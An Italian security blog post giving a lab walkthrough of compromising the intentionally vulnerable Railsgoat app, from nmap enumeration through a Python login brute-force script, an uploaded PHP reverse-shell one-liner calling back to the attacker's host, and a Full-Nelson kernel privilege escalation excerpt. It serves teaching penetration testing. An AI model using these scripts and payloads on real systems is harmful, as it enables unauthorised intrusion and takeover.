Paolo Perego
Paolo Perego Specialista di sicurezza applicativa e certificato OSCE e OSCP, amo spaccare e ricostruire il codice in maniera sicura. Sono cintura nera di taekwon-do, marito e papà. Ranger Caotico Neutrale, scrivo su @codiceinsicuro.

Getting Root: Railsgoat

Getting Root: Railsgoat Photo by on Unsplash
2670 parole - Lo leggerai in 14 minuti

Settimana scorsa ho tenuto un talk all’Università di Parma, presso la facoltà di ingegneria, dal titolo “Vulnerability Assessment and safe coding in web applications”. Le slide le potete trovare qui.

L’idea, in tre ore di intervento, era di usare Railsgoat ed il progetto Owasp Broken Web Application per far vedere come l’enumerazione, il saper cogliere dettagli ed indizi ed un pizzico di fortuna, ci possono portare da un’applicazione web ad una shell di root.

Sul più bello, ovvero alla terza ora, quando dovevamo armarci, partire e bucare Railsgoat, il proiettore ha fatto le bizze. Quindi lascio qui un piccolo walkthrough, dei passi fatti per partire dall’indirizzo IP e URL, fino ad una shell di root.

Owasp Broken Web Application Project

Il progetto Owasp Broken Web Application è nato con lo scopo di fornire una macchina virtuale, differente dalla solita metasploitable, per permettere a chiunque di esercitarsi con applicazioni volutamente vulnerabili.

Railsgoat è una di queste. Scritta in Ruby on Rails, vuole simulare un portale aziendale dedicato alla gestione del personale. L’amministratore, avrà a disposizione la form di gestione di alcuni dipendenti e, tra le altre cose, sarà possibile fare l’upload delle polizze sanitarie aziendali, gestire i dati dello stipendio e molto altro.

Durante il talk siamo partiti con solo 2 dati a nostra disposizione:

  • l’indirizzo IP del server: 172.16.202.241
  • il nome dell’applicazione web: Railsgoat

Setup dell’ambiente

Questa volta avevo entrambe le macchine in esecuzione con VMWare Fusion sotto Mac OS X. Questo semplicemente perché avevo già pronta la macchina Kali Linux usata per l’oscp.

L’importante è che mettiate entrambe le macchine in una rete privata e non siano nattate con il vostro host fisico.

Enumeration

Come prima cosa, andiamo a vedere quali sono i servizi in ascolto sul mio target:

# nmap -sV -oA railsgoat 172.16.202.241
...
# cat railsgoat.nmap

# Nmap 7.50 scan initiated Wed Nov 29 18:09:28 2017 as: nmap -sV -oA railsgoat 172.16.202.241
Nmap scan report for 172.16.202.241
Host is up (0.00052s latency).
Not shown: 991 closed ports
PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 5.3p1 Debian 3ubuntu4 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http        Apache httpd 2.2.14 ((Ubuntu) mod_mono/2.4.3 PHP/5.3.2-1ubuntu4.30 with Suhosin-Patch proxy_html/3.0.1 mod_python/3.3.1 Python/2.6.5 mod_ssl/2.2.14 OpenSSL...)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
143/tcp  open  imap        Courier Imapd (released 2008)
443/tcp  open  ssl/https?
445/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
5001/tcp open  java-rmi    Java RMI
8080/tcp open  http        Apache Tomcat/Coyote JSP engine 1.1
8081/tcp open  http        Jetty 6.1.25
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port5001-TCP:V=7.50%I=7%D=11/29%Time=5A1EE9DD%P=i686-pc-linux-gnu%r(NUL
SF:L,4,"\xac\xed\0\x05");
MAC Address: 00:0C:29:8F:CA:00 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Nov 29 18:09:59 2017 -- 1 IP address (1 host up) scanned in 31.26 seconds

Dalle prime informazioni che ho, potrebbe essere una macchina con una distribuzione Ubuntu di Linux. Apache è in esecuzione con un sacco di moduli per il supporto di vari linguaggi di programmazione. Difficilmente una macchina di produzione ci riserverà così tanta soddisfazione.

Mi dedico al web server sulla porta 80, perché essendoci passenger in esecuzione, sarà lui a servire l’applicazione railsgoat.

# nikto -host 172.16.202.241

nikto running

Proseguo con dirb, restringendo però il campo alla sola directory /railsgoat. Per esercizio provate ad enumerare tutto il sito; troverete un sacco di indizi per bucare anche le altre applicazioni.

# dirb http://172.16.202.241/railsgoat

dirb running

Partendo da un indirizzo IP ed una url, /railsgoat, abbiamo i seguenti indizi:

  • si tratta di un server Linux, presumibilmente Ubuntu
  • ha in esecuzione un server web (sia in HTTP che HTTPS) e un Tomcat sulla porta 8080
  • l’applicazione railsgoat è scritta in Ruby, non sappiamo ancora quale framework è stato utilizzato.
  • /railsgoat ha un suo meccanismo di login, di registrazione degli utenti e di download di file. Questo ci può far sperare che esista anche un meccanismo di upload.

Web assault

Navigando l’url ‘/railsgoat’ possiamo ossrevare che ci viene dato un messaggio d’errore differente a seconda che si stia provando uno username non esistente o che si stia sbagliando solamente la password.

a detailed error message, leading to user enumeration

Questo ci permette di provare un attacco a forza bruta per enumerare sia gli username esistenti e poi provare ad enumerare le password.

Per prima cosa, mi credo un dizionario custom per questa attività, usando il comando cewl. cewl permette infatti di, partendo dal contenuto di un sito, costruire un file di testo da utilizzare come primo dizionario, magari sperando in qualche password di default contestualizzata alla realtà che stiamo attaccando.

# cewl http://172.16.202.241/ -w foo

Poi, invece di usare hydra o lo stesso intruder di Burp, per motivi puramente didattici (e perché mi divertiva l’idea) ho buttato giù due linee di python. poster.py è uno script che, letto un dizionario in ingresso, permette, a seconda di come viene invocato, di fare il bruteforce di utenti o di password della url passata come argomento.

cheater note: admin1234 non sarebbe stato incluso nel dizionario e non avevo tempo di implementare nello script, una funzione di permutazione delle parole trovate con l’aggiunta di numeri. Mi serviva per far vedere cewl durante il talk. L’aggiunta della funzionalità in poster.py è abbastanza semplice.

#!/usr/bin/env python

import requests
import sys, getopt

def brute_username(url, wordlist, domain):
    print '[+] bruteforcing usernames appending ' + domain + ' as domain'

    lines = [line.rstrip('\n') for line in open(wordlist)]
    for l in lines:
        r = requests.post(url, data={'email':l+'@'+domain, 'password':'a very complex password', 'commit':'Login'})
        #if l+'@'+domain+' doesn' in r.text:
            # print 'yeah'
        if 'Incorrect Password!' in r.text:
            print l

def brute_password(url, wordlist, domain, username):
    print '[+] bruteforcing password for ' + username +'@'+domain
    lines = [line.rstrip('\n') for line in open(wordlist)]

    for l in lines:
        r = requests.post(url, data={'email':username+'@'+domain, 'password':l, 'commit':'Login'})
        if "Welcome, Admin" in r.text:
            print username + '@' + domain + ':' + l
            sys.exit(0)



def main(argv):

    url = ''
    wordlist = ''
    brutelogin = None
    brutepassword = None
    domain = ''
    username = ''

    try:
        opts, args=getopt.getopt(argv, "hu:w:LPd:U:", ["url=","wordlist=", "domain=", "username="])
    except getopt.GetoptError:
        print 'poster.py -u <url> -w <wordlist file> -d <account domain> [-L|-P]'
        sys.exit(-2)

    for opt, arg in opts:
        if opt == '-h':
            print 'poster.py -u <url> -w <wordlist file>  -d <account domain> -U <username to use>[-L|-P]'
            print '\n\t-L: brute login name using the given wordlist'
            print '\n\t-P: brute passwords using the given wordlist'
            sys.exit(1)
        elif opt in ("-u", "--url"):
            url = arg
        elif opt in ("-w", "--wordlist"):
            wordlist = arg
        elif opt == '-L':
            brutelogin = True
        elif opt == '-P':
            brutepassword = True
        elif opt in ("-d", "--domain"):
            domain = arg
        elif opt in ("-U", "--username"):
            username = arg

    print '[+] poster.py (c) 2017 paolo@codiceinsicuro.it'
    print '[+] attack ' + url + ' using ' + wordlist + ' as wordlist'

    if brutelogin and brutepassword:
        print '[-] please choose only one between -L and -P'
        sys.exit(-3)

    if brutelogin: 
        brute_username(url, wordlist, domain)
    if brutepassword:
        brute_password(url, wordlist, domain, username)

if __name__ == "__main__":
    main(sys.argv[1:])

Lancio poster.py per enumerare gli username di /railsgoat:

# python poster.py -u http://172.16.202.241/railsgoat/sessions -w foo -L -d metacorp.com

username enumeration

Ora lancio poster.py per enumerare la password di admin@metacorp.com

# python poster.py -u http://172.16.202.241/railsgoat/sessions -w foo -P --username admin -d metacorp.com

password enumeration

Ed ecco qui, admin1234 è la password di admin@metacorp.com

Uploading the bomb

Navigando come utente admin non riusciamo ad arrivare alla url /download. Quello che però possiamo fare, invece di investire tempo in altri bruteforce, è registrare un nuovo utente.

Registrati come utente tre@metacorp.com, possiamo navigare la directory /download che ci redirige su http://172.16.202.241/railsgoat/users/8/benefit_forms. L’8 è l’id del nostro utente e, sì, ci sono tanti problemi di insecure direct object reference.

nuovo utente

Per l’oscp, mi sono scritto uno scriptino python che mi genera il codice PHP per fare una reverse shell con la funzione exec().

#!/usr/bin/env python

import sys, getopt

def main(argv):
    host = ''
    port = ''

    try:
        opts, args=getopt.getopt(argv, "hH:P:", ["help","host=", "port="])
    except getopt.GetoptError:
        print sys.argv[0] + ' -H <host> -P <port>'
        sys.exit(-2)
    
    for opt, arg in opts:
        if opt in ('-h', '--help'):
            print sys.argv[0]+ ' - create reverse shell oneliner'
            print sys.argv[0]+ ' -H <host> -P <port> '
            sys.exit(1)
        if opt in ('-H', '--host'):
            host = arg
        if opt in ('-P', '--port'):
            port = arg

    if host == '' or port == '':
        print sys.argv[0] + ' -H <host> -P <port>'
        sys.exit(-1)
    print "<?php exec(\"/bin/bash -c 'bash -i >& /dev/tcp/"+host+"/"+port+" 0>&1'\");"
    return 0
 
    
if __name__ == "__main__":
    main(sys.argv[1:])

Eseguendo questo script, mi genero il codice PHP per eseguire bash e creare una reverse shell. Scelgo PHP, perché, tra le mille informazioni, ho visto che Apache ha il modulo per questo linguaggio in esecuzione, quindi, presumibilmente, eseguirà questo script.

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/172.16.202.147/31337 0>&1'");

oneliner

Dalla form di upload della polizza sanitaria della Metacorp, scelgo il file PHP che ho appena generato e metto netcat in ascolto sulla porta 31337 con il comando:

# nc -lvnp 31337

Navigando l’url http://172.16.202.241/railsgoat/data/rs.php, invoco lo script e la mia shell non privilegiata viene aperta sulla macchina.

unpriv shell

Let’s root

Da dentro la macchina è più facile prendere tutte le informazioni che ci servono per prendere il controllo della macchina. In particolare, la versione del kernel e del sistema operativo, con la quale andremo alla ricerca di exploits.

system info

Questa la lista di exploit dalla quale possiamo partire:

exploits

E la scelta cade su Full-Nelson.c privilege escalation.

Questo exploit, sfrutta la bellezza di tre vulnerabilità distinte per darci una shell di root:

La CVE-2010-3850 è relativa alla mancanza di controlli sull’assegnazione di un indirizzo Econet ad interfacce arbitrarie mentre la CVE-2010-3849 è una NULL pointer dereference nel procollo Econet.

Nell’exploit, le due vulnerabilità sono realizzate in questa routine che causa un OOPS e permette al programma chiamante di fruttare la CVE-2010-4258 che mi permette di scrivere NULL in porzioni arbitrari del kernel, quando un OOPS si verifica durante una clone(2).

In particolare attraverso commit_creds e prepare_kernel_cred faremo in modo dai dare EUID 0 al nostro processo in esecuzione.

/* Triggers a NULL pointer dereference in econet_sendmsg
 * via sock_no_sendpage, so it's under KERNEL_DS */
int trigger(int * fildes)
{
        int ret;
        struct ifreq ifr;

        memset(&ifr, 0, sizeof(ifr));
        strncpy(ifr.ifr_name, "eth0", IFNAMSIZ);

        ret = ioctl(fildes[2], SIOCSIFADDR, &ifr);

        if(ret < 0) {
                printf("[*] Failed to set Econet address.\n");
                return -1;
        }

        splice(fildes[3], NULL, fildes[1], NULL, 128, 0);
        splice(fildes[0], NULL, fildes[2], NULL, 128, 0);

        /* Shouldn't get here... */
        exit(0);
}

Tralasciando questa spiegazione superficiale e non accurata, trasferiamo il nostro exploit sulla macchina di railsgoat. Possiamo usare wget, basterà copiare il nostro file in /var/www/html sulla nostra Kali Linux ed avviare il servizio apache.

Una volta trasferito sulla macchina, lo possiamo compilare, grazie alla presenza del gcc a bordo ed, eseguendo l’attacco, siamo root sulla macchina.

root dance

Off by one

Ringrazio l’Università di Parma, ma soprattutto Danilo e l’Unione degli Universitari di Parma, per avermi invitato a tenere un talk e aver sopportato le bizze del proiettore nell’ultima ora.

Come promesso, ho ripercorso con questo post, quello che vi avrei mostrato successivamente. Spero vi sia piaciuto e se ci sono domande o dubbi, lasciatele qui nei commenti e vi risponderò.

#tryharder

Vuoi aiutarmi a portare avanti il progetto Codice Insicuro con una donazione? Fantastico, allora non ti basta che premere il pulsante qui sotto.

Supporta il progetto

comments powered by Disqus
Codice Insicuro, blog di Cyber Security, sviluppo sicuro, code review e altro.   Non perdere neanche un post, iscriviti ora alla mailing list